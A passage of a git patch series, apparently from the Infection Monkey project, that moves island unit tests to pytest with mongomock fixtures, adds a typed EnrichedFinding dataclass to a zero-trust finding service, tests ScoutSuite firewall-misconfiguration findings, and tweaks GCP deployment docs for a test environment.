Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") windows_monkey = Monkey(guid=str(uuid.uuid4()), @@ -121,9 +106,6 @@ class TestMonkey(IslandTestCase): self.assertTrue(test, "Tunneling test") def test_get_label_by_id(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - hostname_example = "a_hostname" ip_example = "1.1.1.1" linux_monkey = Monkey(guid=str(uuid.uuid4()), @@ -169,9 +151,6 @@ class TestMonkey(IslandTestCase): self.assertEqual(cache_info_after_query_3.misses, 2) def test_is_monkey(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index 4699dd829..a84268e40 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -7,9 +7,6 @@ from monkey_island.cc.testing.IslandTestCase import IslandTestCase class TestEvent(IslandTestCase): def test_create_event(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - with self.assertRaises(ValidationError): _ = Event.create_event( title=None, # title required diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index bc51d83d8..dc3a274f2 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -16,11 +16,7 @@ class TestFinding(IslandTestCase): server.json file is found and loaded. """ - @pytest.mark.skip(reason="Broken during ScoutSuite refactoring, need to be fixed") def test_save_finding_validation(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - with self.assertRaises(ValidationError): _ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[]) @@ -29,9 +25,6 @@ class TestFinding(IslandTestCase): @pytest.mark.skip(reason="Broken during ScoutSuite refactoring, need to be fixed") def test_save_finding_sanity(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) event_example = Event.create_event( diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py index d2a4e1f58..cd8519327 100644 --- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py @@ -47,7 +47,6 @@ EXPLOIT_DATA_MOCK = [{ class TestDisplayedEdgeService(IslandTestCase): def test_get_displayed_edges_by_to(self): - self.clean_edge_db() dst_id = ObjectId() diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/monkey_island/cc/services/edge/test_edge.py index 8ebf45343..bc2c40e80 100644 --- a/monkey/monkey_island/cc/services/edge/test_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_edge.py @@ -19,9 +19,6 @@ class TestEdgeService(IslandTestCase): """ def test_get_or_create_edge(self): - self.fail_if_not_testing_env() - self.clean_edge_db() - src_id = ObjectId() dst_id = ObjectId() diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py index b5a628fb1..fc1e6dd27 100644 --- a/monkey/monkey_island/cc/services/reporting/test_pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py @@ -7,9 +7,6 @@ from monkey_island.cc.testing.IslandTestCase import IslandTestCase class TestPTHReportServiceGenerateMapNodes(IslandTestCase): def test_generate_map_nodes(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - self.assertEqual(PTHReportService.generate_map_nodes(), []) windows_monkey_with_services = Monkey( @@ -43,9 +40,6 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase): self.assertEqual(2, len(map_nodes)) def test_generate_map_nodes_parsing(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - monkey_id = str(uuid.uuid4()) hostname = "A_Windows_PC_1" windows_monkey_with_services = Monkey( diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py index f85b2b88c..8752a9e9d 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -8,9 +8,6 @@ from monkey_island.cc.testing.IslandTestCase import IslandTestCase class TestEnvironmentTelemetryProcessing(IslandTestCase): def test_process_environment_telemetry(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - # Arrange monkey_guid = str(uuid.uuid4()) a_monkey = Monkey(guid=monkey_guid) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index 2af2d5970..4c31d466e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -36,9 +36,6 @@ class SystemInfoTelemetryDispatcherTest(IslandTestCase): dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_empty_collectors) def test_dispatch_to_relevant_collector(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py index e4aa49dc2..6db918b52 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py @@ -16,9 +16,6 @@ THIRD_SUBNET = "3.3.3.3-3.3.3.200" class TestSegmentationChecks(IslandTestCase): def test_create_findings_for_all_done_pairs(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] monkey = Monkey( diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py index b260f62c9..d6231c01e 100644 --- a/monkey/monkey_island/cc/testing/IslandTestCase.py +++ b/monkey/monkey_island/cc/testing/IslandTestCase.py @@ -1,5 +1,7 @@ import unittest +import mongoengine + import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.models import Monkey from monkey_island.cc.models.edge import Edge @@ -7,17 +9,33 @@ from monkey_island.cc.models.zero_trust.finding import Finding class IslandTestCase(unittest.TestCase): + + def __init__(self, methodName): + # Make sure test is working with mongomock + if mongoengine.connection.get_connection().server_info()['sysInfo'] != 'Mock': + mongoengine.disconnect() + mongoengine.connect('mongoenginetest', host='mongomock://localhost') + else: + IslandTestCase.clean_db() + super().__init__(methodName) + def fail_if_not_testing_env(self): self.assertFalse(not env_singleton.env.testing, "Change server_config.json to testing environment.") @staticmethod - def clean_monkey_db(): + def clean_db(): + IslandTestCase._clean_edge_db() + IslandTestCase._clean_monkey_db() + IslandTestCase._clean_finding_db() + + @staticmethod + def _clean_monkey_db(): Monkey.objects().delete() @staticmethod - def clean_edge_db(): + def _clean_edge_db(): Edge.objects().delete() @staticmethod - def clean_finding_db(): + def _clean_finding_db(): Finding.objects().delete() From 0bae2b922dfd4b6e7f1eba8bc318d79ac1b7a3e4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 19 Jan 2021 15:27:43 -0500 Subject: [PATCH 134/466] monkey_zoo: minor fixes to monkey_zoo docs --- envs/monkey_zoo/docs/fullDocs.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 92b8652e0..3cdc79f74 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -58,13 +58,13 @@ Requirements: To deploy: 1. Configure service account for your project: - a. Create a service account (GCP website -> IAM -> service accounts) and name it β€œyour\_name-monkeyZoo-user” + a. Create a service account (GCP website -> IAM & Admin -> Service Accounts -> + CREATE SERVICE ACCOUNT) and name it β€œyour\_name-monkeyZoo-user” b. Give these permissions to your service account: **Compute Engine -> Compute Network Admin** and - **Compute Engine -> Compute Instance Admin** + **Compute Engine -> Compute Instance Admin (v1)** and **Compute Engine -> Compute Security Admin** and @@ -74,10 +74,12 @@ To deploy: **Project -> Owner** - c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**. -2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): + c. Create and download its **Service account key** in JSON and place it in **monkey_zoo/gcp_keys** as **gcp_key.json**. + +2. Get these permissions in the monkeyZoo project (guardicore-22050661) for your service account (ask monkey developers to add them): a. **Compute Engine -\> Compute image user** + 3. Change configurations located in the ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to link to your service account key file): From 1b35b8fb4ad5d2e42d8800034007ab614910fa6f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Jan 2021 10:53:40 +0200 Subject: [PATCH 135/466] Improved finding_service.py by specifying datatype it returns --- .../zero_trust_report/finding_service.py | 55 +++++++++++++------ 1 file changed, 37 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py index 2c5322d92..3f972bb4c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -1,4 +1,7 @@ -from typing import List +from dataclasses import dataclass +from typing import List, Union + +from bson import SON from common.common_consts import zero_trust_consts from common.utils.exceptions import UnknownFindingError @@ -6,32 +9,48 @@ from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService +@dataclass +class EnrichedFinding: + finding_id: str + test: str + test_key: str + pillars: List[str] + status: str + finding_type: str + details: Union[dict, None] + + class FindingService: @staticmethod - def get_all_findings() -> List[Finding]: + def get_all_findings() -> List[EnrichedFinding]: findings = list(Finding.objects) for i in range(len(findings)): - if findings[i].finding_type == zero_trust_consts.MONKEY_FINDING: - details = MonkeyZTDetailsService.fetch_details_for_display(findings[i].details.id) - elif findings[i].finding_type == zero_trust_consts.SCOUTSUITE_FINDING: - details = findings[i].details.fetch().to_mongo() - else: - raise UnknownFindingError(f"Unknown finding type {findings[i].finding_type}") + details = FindingService._get_finding_details(findings[i]) findings[i] = findings[i].to_mongo() findings[i] = FindingService._get_enriched_finding(findings[i]) - findings[i]['details'] = details + findings[i].details = details return findings @staticmethod - def _get_enriched_finding(finding: Finding) -> dict: + def _get_enriched_finding(finding: Finding) -> EnrichedFinding: test_info = zero_trust_consts.TESTS_MAP[finding['test']] - enriched_finding = { - 'finding_id': str(finding['_id']), - 'test': test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']], - 'test_key': finding['test'], - 'pillars': test_info[zero_trust_consts.PILLARS_KEY], - 'status': finding['status'], - 'finding_type': finding['finding_type'] - } + enriched_finding = EnrichedFinding( + finding_id=str(finding['_id']), + test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']], + test_key=finding['test'], + pillars=test_info[zero_trust_consts.PILLARS_KEY], + status=finding['status'], + finding_type=finding['finding_type'], + details=None + ) return enriched_finding + + @staticmethod + def _get_finding_details(finding: Finding) -> Union[dict, SON]: + if finding.finding_type == zero_trust_consts.MONKEY_FINDING: + return MonkeyZTDetailsService.fetch_details_for_display(finding.details.id) + elif finding.finding_type == zero_trust_consts.SCOUTSUITE_FINDING: + return finding.details.fetch().to_mongo() + else: + raise UnknownFindingError(f"Unknown finding type {finding.finding_type}") From d31e9064c8e014bd491f643acedb8ed87c4ce4de Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Jan 2021 10:55:15 +0200 Subject: [PATCH 136/466] Added UT's to monkey_zt_finding_service.py and scoutsuite_zt_finding_service.py --- .../zero_trust/test_aggregate_finding.py | 63 ----------- .../cc/models/zero_trust/test_finding.py | 28 +++-- .../test_monkey_zt_finding_service.py | 52 +++++++++ .../test_scoutsuite_zt_finding_service.py | 105 ++++++++++++++++++ 4 files changed, 174 insertions(+), 74 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py deleted file mode 100644 index fe8757b9a..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ /dev/null @@ -1,63 +0,0 @@ -import unittest - -import mongomock -from packaging import version - -import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase - - -class TestAggregateFinding(IslandTestCase): - - @unittest.skipIf(version.parse(mongomock.__version__) <= version.parse("3.19.0"), - "mongomock version doesn't support this test") - def test_create_or_add_to_existing(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE - status = zero_trust_consts.STATUS_VERIFY - events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] - self.assertEqual(len(Finding.objects(test=test, status=status)), 0) - - MonkeyZTFindingService.create_or_add_to_existing(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 1) - self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) - - MonkeyZTFindingService.create_or_add_to_existing(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 1) - self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) - - @unittest.skipIf(version.parse(mongomock.__version__) <= version.parse("3.19.0"), - "mongomock version doesn't support this test") - def test_create_or_add_to_existing_2_tests_already_exist(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE - status = zero_trust_consts.STATUS_VERIFY - event = Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) - events = [event] - self.assertEqual(len(Finding.objects(test=test, status=status)), 0) - - Finding.save_finding(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 1) - self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) - - MonkeyZTFindingService.create_or_add_to_existing(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 1) - self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) - - Finding.save_finding(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 2) - - with self.assertRaises(AssertionError): - MonkeyZTFindingService.create_or_add_to_existing(test, status, events) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index dc3a274f2..a2a6be6ea 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -4,33 +4,39 @@ from mongoengine import ValidationError import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.testing.IslandTestCase import IslandTestCase -class TestFinding(IslandTestCase): - """ - Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and - won't work. +MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() +MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] +SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() +SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] - Also, the working directory needs to be the working directory from which you usually run the island so the - server.json file is found and loaded. - """ + +class TestFinding(IslandTestCase): def test_save_finding_validation(self): with self.assertRaises(ValidationError): - _ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[]) + _ = Finding.save_finding(test="bla bla", + status=zero_trust_consts.STATUS_FAILED, + detail_ref=MONKEY_FINDING_DETAIL_MOCK) with self.assertRaises(ValidationError): - _ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", events=[]) + _ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, + status="bla bla", + detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK) - @pytest.mark.skip(reason="Broken during ScoutSuite refactoring, need to be fixed") def test_save_finding_sanity(self): self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) event_example = Event.create_event( title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + monkey_details_example = MonkeyFindingDetails() + monkey_details_example.events.append(event_example) Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, events=[event_example]) + status=zero_trust_consts.STATUS_FAILED, detail_ref=monkey_details_example) self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1) self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py new file mode 100644 index 000000000..bcf600854 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -0,0 +1,52 @@ +from datetime import datetime +from typing import List + +from bson import ObjectId + +from common.common_consts import zero_trust_consts +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + +EVENTS = [ + Event.create_event( + title='Process list', + message='Monkey on gc-pc-244 scanned the process list', + event_type='monkey_local', + timestamp=datetime.strptime('2021-01-19 12:07:17.802138', '%Y-%m-%d %H:%M:%S.%f') + ), + Event.create_event( + title='Communicate as new user', + message='Monkey on gc-pc-244 couldn\'t communicate as new user. ' + 'Details: System error 5 has occurred. Access is denied.', + event_type='monkey_network', + timestamp=datetime.strptime('2021-01-19 12:22:42.246020', '%Y-%m-%d %H:%M:%S.%f') + ) +] + +TESTS = [ + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER +] + +STATUS = [ + zero_trust_consts.STATUS_PASSED, + zero_trust_consts.STATUS_FAILED, + zero_trust_consts.STATUS_VERIFY +] + + +class TestMonkeyZTFindingService(IslandTestCase): + + def test_create_or_add_to_existing(self): + + # Create new finding + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=EVENTS[0]) + + # Add events to an existing finding + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=EVENTS[1]) + + # Create new finding + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[1], status=STATUS[1], events=EVENTS[1]) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py new file mode 100644 index 000000000..a6082bd05 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -0,0 +1,105 @@ +from common.common_consts import zero_trust_consts +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import PermissiveFirewallRules, \ + UnencryptedData +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + +RULES = [ + ScoutSuiteRule( + checked_items=179, + compliance=None, + dashboard_name='Rules', + description='Security Group Opens All Ports to All', + flagged_items=2, + items=[ + 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' + ], + level='danger', + path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + rationale='It was detected that all ports in the security group are open, and any source IP address' + ' could send traffic to these ports, which creates a wider attack surface for resources ' + 'assigned to it. Open ports should be reduced to the minimum needed to correctly', + references=[], + remediation=None, + service='EC2' + ), + ScoutSuiteRule( + checked_items=179, + compliance=[{'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.2'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.2'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.2'}], + dashboard_name='Rules', + description='Security Group Opens RDP Port to All', + flagged_items=7, + items=[ + 'ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR'], + level='danger', + path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + rationale='The security group was found to be exposing a well-known port to all source addresses.' + ' Well-known ports are commonly probed by automated scanning tools, and could be an indicator ' + 'of sensitive services exposed to Internet. If such services need to be expos', + references=[], + remediation='Remove the inbound rules that expose open ports', + service='EC2' + ) +] + +FINDINGS = [ + PermissiveFirewallRules, + UnencryptedData +] + + +class TestScoutSuiteZTFindingService(IslandTestCase): + + def test_process_rule(self): + # Creates new PermissiveFirewallRules finding with a rule + ScoutSuiteZTFindingService.process_rule(FINDINGS[0], RULES[0]) + findings = list(Finding.objects()) + self.assertEqual(len(findings), 1) + self.assertEqual(findings[0].finding_type, zero_trust_consts.SCOUTSUITE_FINDING) + # Assert that details were created properly + details = findings[0].details.fetch() + self.assertEqual(len(details.scoutsuite_rules), 1) + self.assertEqual(details.scoutsuite_rules[0], RULES[0]) + + # Rule processing should add rule to an already existing finding + ScoutSuiteZTFindingService.process_rule(FINDINGS[0], RULES[1]) + findings = list(Finding.objects()) + self.assertEqual(len(findings), 1) + self.assertEqual(findings[0].finding_type, zero_trust_consts.SCOUTSUITE_FINDING) + # Assert that details were created properly + details = findings[0].details.fetch() + self.assertEqual(len(details.scoutsuite_rules), 2) + self.assertEqual(details.scoutsuite_rules[1], RULES[1]) + + # New finding created + ScoutSuiteZTFindingService.process_rule(FINDINGS[1], RULES[1]) + findings = list(Finding.objects()) + self.assertEqual(len(findings), 2) + self.assertEqual(findings[1].finding_type, zero_trust_consts.SCOUTSUITE_FINDING) + # Assert that details were created properly + details = findings[1].details.fetch() + self.assertEqual(len(details.scoutsuite_rules), 1) + self.assertEqual(details.scoutsuite_rules[0], RULES[1]) From 2df889ee311b76ddd3ddee52b71d3e13ab974590 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Jan 2021 15:31:42 +0200 Subject: [PATCH 137/466] Refactored unittests to pytest on island code. Cleaned up test infrasctructure: moved common test files to /test_common --- .../common/network/test_segmentation_utils.py | 18 +++-- monkey/monkey_island/cc/conftest.py | 1 + .../cc/environment/test__init__.py | 2 +- .../cc/environment/test_environment_config.py | 2 +- monkey/monkey_island/cc/models/test_monkey.py | 71 +++++++++---------- .../cc/models/zero_trust/test_event.py | 8 +-- .../cc/models/zero_trust/test_finding.py | 13 ++-- .../cc/services/edge/test_displayed_edge.py | 26 ++++--- .../cc/services/edge/test_edge.py | 44 +++++------- .../cc/services/reporting/test_pth_report.py | 17 +++-- .../test_environment.py | 5 +- .../test_system_info_telemetry_dispatcher.py | 23 +++--- .../zero_trust_checks/test_segmentation.py | 30 ++++---- .../test_monkey_zt_finding_service.py | 8 +-- .../test_scoutsuite_zt_finding_service.py | 30 ++++---- .../cc/{testing => test_common}/__init__.py | 0 .../environment/server_config_mocks.py | 0 .../cc/test_common/mongomock_fixtures.py | 32 +++++++++ .../profiling}/README.md | 0 .../profiling}/profiler_decorator.py | 0 .../cc/testing/IslandTestCase.py | 41 ----------- 21 files changed, 173 insertions(+), 198 deletions(-) create mode 100644 monkey/monkey_island/cc/conftest.py rename monkey/monkey_island/cc/{testing => test_common}/__init__.py (100%) rename monkey/monkey_island/cc/{testing => test_common}/environment/server_config_mocks.py (100%) create mode 100644 monkey/monkey_island/cc/test_common/mongomock_fixtures.py rename monkey/monkey_island/cc/{testing => test_common/profiling}/README.md (100%) rename monkey/monkey_island/cc/{testing => test_common/profiling}/profiler_decorator.py (100%) delete mode 100644 monkey/monkey_island/cc/testing/IslandTestCase.py diff --git a/monkey/common/network/test_segmentation_utils.py b/monkey/common/network/test_segmentation_utils.py index 9dea1af19..1bb3d0484 100644 --- a/monkey/common/network/test_segmentation_utils.py +++ b/monkey/common/network/test_segmentation_utils.py @@ -1,30 +1,28 @@ from common.network.network_range import CidrRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst -from monkey_island.cc.testing.IslandTestCase import IslandTestCase -class TestSegmentationUtils(IslandTestCase): +class TestSegmentationUtils: def test_get_ip_in_src_and_not_in_dst(self): - self.fail_if_not_testing_env() source = CidrRange("1.1.1.0/24") target = CidrRange("2.2.2.0/24") # IP not in both - self.assertIsNone(get_ip_in_src_and_not_in_dst( + assert get_ip_in_src_and_not_in_dst( ["3.3.3.3", "4.4.4.4"], source, target - )) + ) is None # IP not in source, in target - self.assertIsNone(get_ip_in_src_and_not_in_dst( + assert (get_ip_in_src_and_not_in_dst( ["2.2.2.2"], source, target - )) + )) is None # IP in source, not in target - self.assertIsNotNone(get_ip_in_src_and_not_in_dst( + assert (get_ip_in_src_and_not_in_dst( ["8.8.8.8", "1.1.1.1"], source, target )) # IP in both subnets - self.assertIsNone(get_ip_in_src_and_not_in_dst( + assert (get_ip_in_src_and_not_in_dst( ["8.8.8.8", "1.1.1.1"], source, source - )) + )) is None diff --git a/monkey/monkey_island/cc/conftest.py b/monkey/monkey_island/cc/conftest.py new file mode 100644 index 000000000..aee73ddb6 --- /dev/null +++ b/monkey/monkey_island/cc/conftest.py @@ -0,0 +1 @@ +from .test_common.mongomock_fixtures import * diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py index 72d1abe75..c55e1b65b 100644 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ b/monkey/monkey_island/cc/environment/test__init__.py @@ -4,7 +4,7 @@ from typing import Dict from unittest import TestCase from unittest.mock import MagicMock, patch -import monkey_island.cc.testing.environment.server_config_mocks as config_mocks +import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError, InvalidRegistrationCredentialsError, RegistrationNotNeededError) from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index d30c86804..ed9b0ef96 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -5,7 